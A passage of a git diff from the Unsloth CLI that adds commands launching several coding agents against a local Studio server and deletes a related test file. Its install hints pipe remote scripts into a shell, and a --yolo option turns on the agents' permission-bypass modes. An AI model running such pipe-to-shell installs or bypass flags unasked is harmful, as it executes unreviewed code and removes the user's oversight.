_LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point Claude Code at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + model_id = entry["id"] + + env = { + "ANTHROPIC_BASE_URL": base, + "ANTHROPIC_AUTH_TOKEN": key, + "ANTHROPIC_MODEL": model_id, + # Session-only (no ~/.claude write): suppress the attribution header so + # llama.cpp KV-cache reuse is preserved; --settings below reinforces it. + "CLAUDE_CODE_ATTRIBUTION_HEADER": "0", + # Update checks, beta features, and other background requests either + # stall against a local server or evict the conversation from + # llama-server's KV-cache slots, so turn off everything nonessential. + "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1", + "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1", + # A local server streams in bursts; disable the full-screen TUI redraw so the + # terminal doesn't flicker between tokens. + "CLAUDE_CODE_NO_FLICKER": "1", + } + # Claude Code auto-compacts against its native (~600k token) window; a local + # model's context is usually far smaller, so size the window to the loaded + # model's real context length. Otherwise the conversation overflows the + # server's window (silent truncation) long before Claude decides to compact. + # codex/openclaw get the same value through their config (model_context_window + # / contextWindow); Claude has no config file, so it rides on the env var. + window = entry.get("context_length") or entry.get("max_context_length") + if window: + env["CLAUDE_CODE_AUTO_COMPACT_WINDOW"] = str(int(window)) + # Compact at 90% of that window; the override only takes effect once the + # window is set, and it can only lower the threshold, so it just guarantees + # headroom before the server's context limit instead of relying on Claude's + # default (which is tuned for its native 200K/1M window). + env["CLAUDE_AUTOCOMPACT_PCT_OVERRIDE"] = "90" + # --yolo (or its aliases) maps to Claude's own --dangerously-skip-permissions. + # IS_SANDBOX is left unset on purpose: Claude refuses bypass mode as root unless a + # sandbox is detected, and we don't want to falsely claim one on the user's host. + command = [ + "claude", + "--model", + model_id, + *_claude_flags(), + *_yolo_command_flags("claude", yolo), + *ctx.args, + ] + install_hint = ( + "irm https://claude.ai/install.ps1 | iex" + if os.name == "nt" + else "curl -fsSL https://claude.ai/install.sh | bash" + ) + _run( + base, + entry, + env, + command, + launch = launch, + install_hint = install_hint, + unset_env = _CLAUDE_ENV_UNSET, + ) + + +@start_app.command("codex", context_settings = _PASSTHROUGH) +def codex( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = _LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point OpenAI Codex at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + # This preflight runs after _connect may have auto-started a server but before _run + # installs its teardown finally, so tear the server down here if it rejects the model + # (e.g. a transformers-backend model) rather than leaving it on the atexit backstop. + try: + _require_gguf_for_codex(base, key, entry["id"]) + except BaseException: + _shutdown_auto_served() + raise + command = [ + "codex", + "--oss", + "--profile", + _CODEX_PROFILE, + *_yolo_command_flags("codex", yolo), + *ctx.args, + ] + with _session_config("codex", launch) as home: + write_codex_config(base, entry, home) + env = {_CODEX_ENV_KEY: key, "CODEX_HOME": str(home)} + _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex") + + +@start_app.command("openclaw", context_settings = _PASSTHROUGH) +def openclaw( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = _LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point OpenClaw at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + command = ["openclaw", *ctx.args] + install_hint = ( + "iwr -useb https://openclaw.ai/install.ps1 | iex" + if os.name == "nt" + else "curl -fsSL https://openclaw.ai/install.sh | bash" + ) + with _session_config("openclaw", launch) as cfg: + config_path = cfg / "openclaw.json" + # key lives in the config, not the env; --yolo writes the exec policy here too. + write_openclaw_config(base, key, entry, config_path, yolo = yolo) + # Scope both config and state so OpenClaw never touches the user's ~/.openclaw. + env = {"OPENCLAW_CONFIG_PATH": str(config_path), "OPENCLAW_STATE_DIR": str(cfg)} + _run(base, entry, env, command, launch = launch, install_hint = install_hint) + + +@start_app.command("opencode", context_settings = _PASSTHROUGH) +def opencode( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = _LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point OpenCode at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + command = ["opencode", *ctx.args] + with _session_config("opencode", launch) as cfg: + config_path = cfg / "opencode.json" + # OPENCODE_CONFIG is an overlay (loaded between the user's global and project + # configs), so this adds the Unsloth provider/model for the session without + # changing the user's default model. Key lives in the config, not the env. + write_opencode_config(base, key, entry, config_path, yolo = yolo) + # A project's own opencode.json outranks OPENCODE_CONFIG, so the session model + # pin (and --yolo permissions) would silently lose to a repo config. Carry the + # settings that must win in OPENCODE_CONFIG_CONTENT, which outranks project + # config; the API key stays in the private file, never in the printed env. + inline_config: dict = {"model": f"unsloth/{entry['id']}"} + if yolo: + inline_config["permission"] = {"edit": "allow", "bash": "allow", "webfetch": "allow"} + env = { + "OPENCODE_CONFIG": str(config_path), + "OPENCODE_CONFIG_CONTENT": json.dumps(inline_config), + } + _run(base, entry, env, command, launch = launch, install_hint = "npm install -g opencode-ai") + + +@start_app.command("hermes", context_settings = _PASSTHROUGH) +def hermes( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = _LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point Hermes (Nous Research) at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + command = ["hermes", *_yolo_command_flags("hermes", yolo), *ctx.args] + install_hint = ( + "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent" + "/main/scripts/install.sh | bash" + ) + with _session_config("hermes", launch) as home: + # HERMES_HOME relocates hermes' whole home dir (config.yaml, sessions, state) + # like CODEX_HOME, so the user's ~/.hermes is left untouched for the session. + write_hermes_config(base, entry, home / "config.yaml") + env = {_HERMES_ENV_KEY: key, "HERMES_HOME": str(home)} + _run(base, entry, env, command, launch = launch, install_hint = install_hint) + + +@start_app.command("pi", context_settings = _PASSTHROUGH) +def pi( + ctx: typer.Context, + model: Optional[str] = _MODEL_OPTION, + api_key: Optional[str] = _KEY_OPTION, + launch: bool = _LAUNCH_OPTION, + gguf_variant: Optional[str] = _GGUF_VARIANT_OPTION, + max_seq_length: int = _CONTEXT_OPTION, + load_in_4bit: bool = _LOAD_4BIT_OPTION, + tensor_parallel: bool = _TENSOR_PARALLEL_OPTION, + serve: bool = _SERVE_OPTION, + yolo: bool = _YOLO_OPTION, +): + """Point Pi (coding agent) at the running Studio server and start it.""" + base, key, entry = _connect( + api_key, + model, + LoadOptions(gguf_variant, max_seq_length, load_in_4bit, tensor_parallel), + serve = serve, + launch = launch, + ) + # Pi defaults to the google provider, so pin our provider/model on the command + # line; the custom OpenAI-compatible endpoint itself is only configurable via + # ~/.pi/agent/models.json. + command = [ + "pi", + "--provider", + _PI_PROVIDER, + "--model", + entry["id"], + *_yolo_command_flags("pi", yolo), + *ctx.args, + ] + # --ignore-scripts matches Pi's documented install recipe (its README notes Pi needs + # no install scripts), so accepting the prompt skips dependency lifecycle scripts. + install_hint = "npm install -g --ignore-scripts @earendil-works/pi-coding-agent" + with _session_config("pi", launch) as home: + # Pi resolves its config dir from PI_CODING_AGENT_DIR first (getAgentDir() prefers + # it over $HOME/.pi/agent), so pin it at the session dir: an inherited + # PI_CODING_AGENT_DIR in the user's shell would otherwise send Pi to their real + # config and skip our provider/key. HOME is relocated too so any other ~/.pi paths + # stay in the session. The key rides in the config rather than the env. + pi_agent_dir = home / ".pi" / "agent" + write_pi_config(base, key, entry, pi_agent_dir / "models.json") + env = {"HOME": str(home), "PI_CODING_AGENT_DIR": str(pi_agent_dir)} + if os.name == "nt" or os.environ.get("WSL_DISTRO_NAME"): + # Node resolves ~/.pi via USERPROFILE (then HOMEDRIVE + HOMEPATH) on Windows, + # not HOME. Set them whenever Pi may run as a Windows process: native Windows, + # or a /mnt Windows shim launched from WSL (the WSLENV bridge then translates + # the path). Otherwise the Windows process falls back to the user's real + # %USERPROFILE%\.pi. splitdrive yields no drive off a POSIX path, so + # HOMEDRIVE/HOMEPATH stay unset there. + env["USERPROFILE"] = str(home) + drive, tail = os.path.splitdrive(str(home)) + if drive: + env["HOMEDRIVE"], env["HOMEPATH"] = drive, tail + # Pi paints inline from the current cursor position (no alternate screen, + # no clear on first render), so give it the clean screen it assumes. + _run( + base, + entry, + env, + command, + launch = launch, + install_hint = install_hint, + clear_screen = True, + ) diff --git a/unsloth_cli/tests/test_connect.py b/unsloth_cli/tests/test_connect.py deleted file mode 100644 index e76a892647..0000000000 --- a/unsloth_cli/tests/test_connect.py +++ /dev/null @@ -1,954 +0,0 @@ -# SPDX-License-Identifier: AGPL-3.0-only -# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 - -"""Tests for `unsloth connect` — config merging and launch env, no network.""" - -from __future__ import annotations - -import json -import os -import sys -import urllib.error -from pathlib import Path -from types import SimpleNamespace - -_REPO_ROOT = Path(__file__).resolve().parents[2] -if str(_REPO_ROOT) not in sys.path: - sys.path.insert(0, str(_REPO_ROOT)) - - -import pytest -from typer.testing import CliRunner - -import unsloth_cli.commands.connect as connect - -BASE = "http://127.0.0.1:8888" -MODEL = {"id": "unsloth/gemma-4-26B-A4B-it-GGUF", "context_length": 131072} - - -# --no-launch prints shell setup as POSIX (export/unset) on Unix/WSL and -# PowerShell ($env:/Remove-Item) on native Windows; assert the host's form. -def _assert_env_set(output: str, name: str, value: str) -> None: - needle = f'$env:{name} = "{value}"' if os.name == "nt" else f"export {name}={value}" - assert needle in output, f"{needle!r} not found in:\n{output}" - - -def _assert_env_unset(output: str, name: str) -> None: - needle = f"Remove-Item Env:{name}" if os.name == "nt" else f"unset {name}" - assert needle in output, f"{needle!r} not found in:\n{output}" - - -@pytest.fixture() -def claude_settings(tmp_path, monkeypatch): - path = tmp_path / "claude" / "settings.json" - monkeypatch.setattr(connect, "claude_settings_path", lambda: path) - return path - - -def test_claude_settings_created_when_missing(claude_settings): - connect.ensure_claude_attribution_header() - settings = json.loads(claude_settings.read_text()) - assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0" - - -def test_claude_settings_merge_preserves_existing(claude_settings): - claude_settings.parent.mkdir(parents = True) - claude_settings.write_text( - json.dumps({"effortLevel": "high", "env": {"CLAUDE_CODE_ENABLE_TELEMETRY": "0"}}) - ) - connect.ensure_claude_attribution_header() - settings = json.loads(claude_settings.read_text()) - assert settings["effortLevel"] == "high" - assert settings["env"]["CLAUDE_CODE_ENABLE_TELEMETRY"] == "0" - assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0" - - -def test_claude_settings_already_set_untouched(claude_settings): - claude_settings.parent.mkdir(parents = True) - original = json.dumps({"env": {"CLAUDE_CODE_ATTRIBUTION_HEADER": "0"}}) - claude_settings.write_text(original) - connect.ensure_claude_attribution_header() - assert claude_settings.read_text() == original - - -def test_claude_settings_bad_json_left_alone(claude_settings, capsys): - claude_settings.parent.mkdir(parents = True) - claude_settings.write_text("{not json") - connect.ensure_claude_attribution_header() - assert claude_settings.read_text() == "{not json" - assert "couldn't parse" in capsys.readouterr().err - - -def _fake_claude(monkeypatch, version_output: str) -> None: - monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude") - monkeypatch.setattr( - connect.subprocess, - "run", - lambda *args, **kwargs: SimpleNamespace(stdout = version_output), - ) - - -def test_cache_flags_passed_to_supported_claude(monkeypatch): - _fake_claude(monkeypatch, "2.1.98 (Claude Code)\n") - assert connect._claude_cache_flags() == ["--exclude-dynamic-system-prompt-sections"] - - -def test_cache_flags_skipped_on_old_claude(monkeypatch): - _fake_claude(monkeypatch, "2.0.14 (Claude Code)\n") - assert connect._claude_cache_flags() == [] - - -def test_cache_flags_skipped_on_unparseable_version(monkeypatch): - _fake_claude(monkeypatch, "weird build string\n") - assert connect._claude_cache_flags() == [] - - -def _parse_toml(text: str) -> dict: - tomllib = pytest.importorskip("tomllib") - return tomllib.loads(text) - - -def test_merge_codex_config_fresh(): - merged = connect._merge_codex_config("", BASE) - parsed = _parse_toml(merged) - assert parsed["oss_provider"] == "unsloth_api" - provider = parsed["model_providers"]["unsloth_api"] - assert provider["base_url"] == f"{BASE}/v1" - assert provider["wire_api"] == "responses" - assert provider["requires_openai_auth"] is False - - -def test_merge_codex_config_replaces_stale_block(): - existing = ( - 'model = "gpt-5"\n' - "\n" - "[model_providers.unsloth_api]\n" - 'base_url = "http://old-host:9999/v1"\n' - 'wire_api = "chat"\n' - "\n" - "[model_providers.unsloth_api.http_headers]\n" - 'x-old = "1"\n' - "\n" - "[model_providers.ollama]\n" - 'base_url = "http://localhost:11434/v1"\n' - ) - merged = connect._merge_codex_config(existing, BASE) - parsed = _parse_toml(merged) - assert parsed["model"] == "gpt-5" - assert parsed["model_providers"]["unsloth_api"]["base_url"] == f"{BASE}/v1" - assert parsed["model_providers"]["unsloth_api"]["wire_api"] == "responses" - assert "http_headers" not in parsed["model_providers"]["unsloth_api"] - assert parsed["model_providers"]["ollama"]["base_url"] == "http://localhost:11434/v1" - assert connect._merge_codex_config(merged, BASE) == merged - - -def test_merge_codex_config_keeps_user_oss_provider(): - merged = connect._merge_codex_config('oss_provider = "ollama"\n', BASE) - assert _parse_toml(merged)["oss_provider"] == "ollama" - - -def test_write_codex_config_profile(tmp_path, monkeypatch): - monkeypatch.setenv("CODEX_HOME", str(tmp_path)) - connect.write_codex_config(BASE, MODEL) - profile = _parse_toml((tmp_path / "unsloth_api.config.toml").read_text()) - assert profile["oss_provider"] == "unsloth_api" - assert profile["model_provider"] == "unsloth_api" - assert profile["model"] == MODEL["id"] - assert profile["model_context_window"] == 131072 - config = _parse_toml((tmp_path / "config.toml").read_text()) - assert config["model_providers"]["unsloth_api"]["env_key"] == "UNSLOTH_STUDIO_AUTH_TOKEN" - - -@pytest.fixture() -def fake_studio(tmp_path, monkeypatch, claude_settings): - calls = [] - state = {"models": [MODEL]} - - def http_json( - method, - url, - token, - payload = None, - timeout = 30, - error = None, - ): - calls.append((method, url, payload)) - if url.endswith("/v1/models"): - return {"object": "list", "data": state["models"]} - if url.endswith("/api/inference/status"): - return {"is_gguf": True, "model_identifier": state["models"][0]["id"]} - if url.endswith("/api/auth/api-keys"): - return {"key": "sk-unsloth-feedfacefeedface"} - if url.endswith("/api/inference/load"): - state["models"] = [{"id": payload["model_path"], "context_length": 4096}] - return {} - raise AssertionError(f"unexpected request: {method} {url}") - - monkeypatch.setattr(connect, "find_studio_server", lambda: BASE) - # Identity handshake has its own tests; trust the loopback server here. - monkeypatch.setattr(connect, "verify_studio_identity", lambda base: True) - # _studio_token / api-keys are faked so the mint flow stays offline. - monkeypatch.setattr(connect, "_studio_token", lambda: "jwt-token") - monkeypatch.setattr(connect, "_http_json", http_json) - monkeypatch.setattr(connect, "_key_cache_path", lambda: tmp_path / "agent_api_key.json") - # No `claude` on PATH, so _claude_cache_flags never probes the real binary. - monkeypatch.setattr(connect.shutil, "which", lambda _: None) - monkeypatch.setenv("CODEX_HOME", str(tmp_path / "codex")) - monkeypatch.delenv("UNSLOTH_API_KEY", raising = False) - return calls - - -def test_connect_claude_no_launch(fake_studio, claude_settings): - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_unset(result.output, "ANTHROPIC_API_KEY") - _assert_env_unset(result.output, "CLAUDE_CODE_OAUTH_TOKEN") - _assert_env_set(result.output, "ANTHROPIC_BASE_URL", BASE) - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") - _assert_env_set(result.output, "ANTHROPIC_MODEL", MODEL["id"]) - _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC", "1") - _assert_env_set(result.output, "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS", "1") - assert f"claude --model {MODEL['id']} --exclude-dynamic-system-prompt-sections" in result.output - settings = json.loads(claude_settings.read_text()) - assert settings["env"]["CLAUDE_CODE_ATTRIBUTION_HEADER"] == "0" - - -def test_connect_claude_launch_scrubs_conflicting_auth_env(fake_studio, monkeypatch): - captured = {} - monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale") - monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale") - monkeypatch.setattr(connect.shutil, "which", lambda _: "/usr/local/bin/claude") - monkeypatch.setattr(connect, "_claude_cache_flags", lambda: []) - - def run(command, env): - captured["command"] = command - captured["env"] = env - return SimpleNamespace(returncode = 0) - - monkeypatch.setattr(connect.subprocess, "run", run) - result = CliRunner().invoke(connect.connect_app, ["claude"]) - - assert result.exit_code == 0, result.output - assert captured["command"] == ["/usr/local/bin/claude", "--model", MODEL["id"]] - assert "ANTHROPIC_API_KEY" not in captured["env"] - assert "CLAUDE_CODE_OAUTH_TOKEN" not in captured["env"] - assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface" - assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE - assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"] - - -@pytest.mark.skipif( - os.name == "nt", - reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); " - "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.", -) -def test_connect_claude_windows_shim_from_wsl_bridges_env(fake_studio, monkeypatch): - captured = {} - monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu") - monkeypatch.setenv("ANTHROPIC_API_KEY", "sk-anthropic-stale") - monkeypatch.setenv("CLAUDE_CODE_OAUTH_TOKEN", "oauth-stale") - monkeypatch.setattr( - connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude" - ) - monkeypatch.setattr(connect, "_claude_cache_flags", lambda: []) - - def run(command, env): - captured["command"] = command - captured["env"] = env - return SimpleNamespace(returncode = 0) - - monkeypatch.setattr(connect.subprocess, "run", run) - result = CliRunner().invoke(connect.connect_app, ["claude"]) - - assert result.exit_code == 0, result.output - assert captured["command"] == [ - "/mnt/c/Users/samle/AppData/Roaming/npm/claude", - "--model", - MODEL["id"], - ] - assert captured["env"]["ANTHROPIC_API_KEY"] == "" - assert captured["env"]["CLAUDE_CODE_OAUTH_TOKEN"] == "" - assert captured["env"]["ANTHROPIC_AUTH_TOKEN"] == "sk-unsloth-feedfacefeedface" - assert captured["env"]["ANTHROPIC_BASE_URL"] == BASE - assert captured["env"]["ANTHROPIC_MODEL"] == MODEL["id"] - for name in ( - "ANTHROPIC_AUTH_TOKEN", - "ANTHROPIC_BASE_URL", - "ANTHROPIC_MODEL", - "ANTHROPIC_API_KEY", - "CLAUDE_CODE_OAUTH_TOKEN", - ): - assert name in captured["env"]["WSLENV"].split(":") - - -@pytest.mark.skipif( - os.name == "nt", - reason = "WSL-from-Linux scenario (calling a Windows agent .exe from inside WSL); " - "os.name is 'posix' under WSL, so this path can't run on a native Windows runner.", -) -def test_connect_claude_no_launch_windows_shim_from_wsl_prints_wslenv(fake_studio, monkeypatch): - monkeypatch.setenv("WSL_DISTRO_NAME", "Ubuntu") - monkeypatch.setattr( - connect.shutil, "which", lambda _: "/mnt/c/Users/samle/AppData/Roaming/npm/claude" - ) - - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - - assert result.exit_code == 0, result.output - assert "export ANTHROPIC_API_KEY=" in result.output - assert "export CLAUDE_CODE_OAUTH_TOKEN=" in result.output - assert "export WSLENV=" in result.output - assert "ANTHROPIC_AUTH_TOKEN" in result.output - assert "CLAUDE_CODE_OAUTH_TOKEN" in result.output - - -def test_connect_codex_no_launch(fake_studio, tmp_path): - result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "UNSLOTH_STUDIO_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") - assert "codex --oss --profile unsloth_api" in result.output - assert (tmp_path / "codex" / "config.toml").exists() - assert (tmp_path / "codex" / "unsloth_api.config.toml").exists() - - -def test_connect_key_minted_once_then_cached(fake_studio, tmp_path): - CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - # First run mints; second reuses the minted key cached for this server. - mints = [c for c in fake_studio if c[1].endswith("/api/auth/api-keys")] - assert len(mints) == 1 - cached = json.loads((tmp_path / "agent_api_key.json").read_text()) - assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"] - - -def test_connect_explicit_key_remembered_for_keyless_runs(fake_studio, tmp_path): - CliRunner().invoke( - connect.connect_app, - ["claude", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], - ) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - # Reused, not re-minted (a mint would return the feedface stand-in). - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") - cached = json.loads((tmp_path / "agent_api_key.json").read_text()) - # An explicit key is remembered as "saved" so it replays without the handshake. - assert cached["servers"][BASE]["saved"] == ["sk-unsloth-deadbeefdeadbeef"] - - -def test_connect_skips_cached_keys_the_server_rejects(fake_studio, tmp_path, monkeypatch): - cache = tmp_path / "agent_api_key.json" - cache.write_text( - json.dumps( - {"servers": {BASE: {"minted": ["sk-unsloth-stale", "sk-unsloth-feedfacefeedface"]}}} - ) - ) - inner = connect._http_json - - def http_json( - method, - url, - token, - payload = None, - timeout = 30, - error = None, - ): - if url.endswith("/v1/models") and token == "sk-unsloth-stale": - raise urllib.error.HTTPError(url, 401, "Unauthorized", None, None) - return inner(method, url, token, payload, timeout, error) - - monkeypatch.setattr(connect, "_http_json", http_json) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") - # The working key moves to the front so the next run tries it first. - cached = json.loads(cache.read_text()) - assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface", "sk-unsloth-stale"] - - -def test_connect_legacy_unscoped_cache_not_replayed(fake_studio, tmp_path): - # Legacy unscoped caches have no server binding (could leak across servers), - # so they're ignored: a fresh key is minted and stored scoped to this server. - (tmp_path / "agent_api_key.json").write_text(json.dumps({"key": "sk-unsloth-oldformat"})) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-feedfacefeedface") - cached = json.loads((tmp_path / "agent_api_key.json").read_text()) - assert cached["servers"][BASE]["minted"] == ["sk-unsloth-feedfacefeedface"] - assert "key" not in cached # legacy field collapsed away - - -def test_connect_model_flag_loads_on_server(fake_studio): - result = CliRunner().invoke( - connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Qwen3.5-35B-A3B"] - ) - assert result.exit_code == 0, result.output - loads = [c for c in fake_studio if c[1].endswith("/api/inference/load")] - assert loads == [ - ("POST", f"{BASE}/api/inference/load", {"model_path": "unsloth/Qwen3.5-35B-A3B"}) - ] - _assert_env_set(result.output, "ANTHROPIC_MODEL", "unsloth/Qwen3.5-35B-A3B") - - -def test_connect_model_flag_matches_canonical_id(fake_studio, monkeypatch): - # Studio registers a loaded model under a canonical id (resolved identifier - # / casing) that can differ from the path we passed. The agent must connect - # to that model, not silently fall through to the first loaded one. - requested = "Unsloth/Qwen3.5-35B-A3B" - canonical = "unsloth/Qwen3.5-35B-A3B" - inner = connect._http_json - - def http_json( - method, - url, - token, - payload = None, - timeout = 30, - error = None, - ): - if url.endswith("/api/inference/load"): - return {"model": canonical, "display_name": canonical} - if url.endswith("/v1/models"): - # Decoy sorts first, so models[0] is the wrong pick on the old code. - return {"object": "list", "data": [MODEL, {"id": canonical, "context_length": 4096}]} - return inner(method, url, token, payload, timeout, error) - - monkeypatch.setattr(connect, "_http_json", http_json) - result = CliRunner().invoke( - connect.connect_app, ["claude", "--no-launch", "--model", requested] - ) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_MODEL", canonical) - - -def test_connect_no_model_loaded_errors(fake_studio, monkeypatch): - monkeypatch.setattr( - connect, - "_http_json", - lambda method, url, token, payload = None, timeout = 30, error = None: ( - {"key": "sk-unsloth-feedfacefeedface"} - if url.endswith("/api/auth/api-keys") - else {"object": "list", "data": []} - ), - ) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 1 - assert "No model is loaded" in result.output - - -def test_connect_requested_model_not_loaded_fails(fake_studio, monkeypatch): - # Studio never surfaces the requested model; fail loudly rather than - # silently connecting to whatever else happens to be loaded. - inner = connect._http_json - - def http_json( - method, - url, - token, - payload = None, - timeout = 30, - error = None, - ): - if url.endswith("/api/inference/load"): - return {} - if url.endswith("/v1/models"): - return {"object": "list", "data": [MODEL]} # decoy; request never appears - return inner(method, url, token, payload, timeout, error) - - monkeypatch.setattr(connect, "_http_json", http_json) - result = CliRunner().invoke( - connect.connect_app, ["claude", "--no-launch", "--model", "unsloth/Missing-7B"] - ) - assert result.exit_code == 1 - assert "unsloth/Missing-7B" in result.output - - -def test_connect_codex_rejects_non_gguf_model(fake_studio, monkeypatch): - inner = connect._http_json - - def http_json( - method, - url, - token, - payload = None, - timeout = 30, - error = None, - ): - if url.endswith("/api/inference/status"): - return {"is_gguf": False, "model_identifier": "unsloth/Qwen3-0.6B"} - return inner(method, url, token, payload, timeout, error) - - monkeypatch.setattr(connect, "_http_json", http_json) - result = CliRunner().invoke(connect.connect_app, ["codex", "--no-launch"]) - assert result.exit_code == 1 - assert "GGUF" in result.output - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - - -def test_connect_nonloopback_keyless_refuses_to_send_credential(fake_studio, monkeypatch): - # A server known only by URL + health check is unverified: keyless connect - # must refuse and make no request at all. - monkeypatch.setattr(connect, "find_studio_server", lambda: "http://studio.evil.example:8888") - result = CliRunner().invoke(connect.connect_app, ["opencode", "--no-launch"]) - assert result.exit_code == 1 - assert "Settings → API" in result.output - assert "--api-key" in result.output - assert fake_studio == [] # no HTTP request of any kind (no mint, no /v1/models) - - -def test_connect_nonloopback_explicit_key_is_allowed(fake_studio, monkeypatch): - # User named both server and key, so it's their choice; only auto-send is blocked. - monkeypatch.setattr(connect, "find_studio_server", lambda: "http://studio.example:8888") - result = CliRunner().invoke( - connect.connect_app, - ["opencode", "--no-launch", "--api-key", "sk-unsloth-deadbeefdeadbeef"], - ) - assert result.exit_code == 0, result.output - - -def test_connect_nonloopback_replays_saved_key(fake_studio, tmp_path, monkeypatch): - # A key saved for a remote (non-loopback) Studio is replayed on keyless runs; - # auto-minting stays blocked for non-loopback. - remote = "http://studio.example:8888" - monkeypatch.setattr(connect, "find_studio_server", lambda: remote) - (tmp_path / "agent_api_key.json").write_text( - json.dumps({"servers": {remote: {"saved": ["sk-unsloth-deadbeefdeadbeef"]}}}) - ) - result = CliRunner().invoke(connect.connect_app, ["claude", "--no-launch"]) - assert result.exit_code == 0, result.output - _assert_env_set(result.output, "ANTHROPIC_AUTH_TOKEN", "sk-unsloth-deadbeefdeadbeef") - assert not any(c[1].endswith("/api/auth/api-keys") for c in fake_studio) # never minted - - -def test_connect_studio_server_errors_on_explicit_remote(monkeypatch): - # A user who pointed UNSLOTH_STUDIO_URL at a remote Studio should get an - # error, not a silent local model load (which they did not ask for). - import typer - - import unsloth_cli._inference as inference - - monkeypatch.setenv("UNSLOTH_STUDIO_URL", 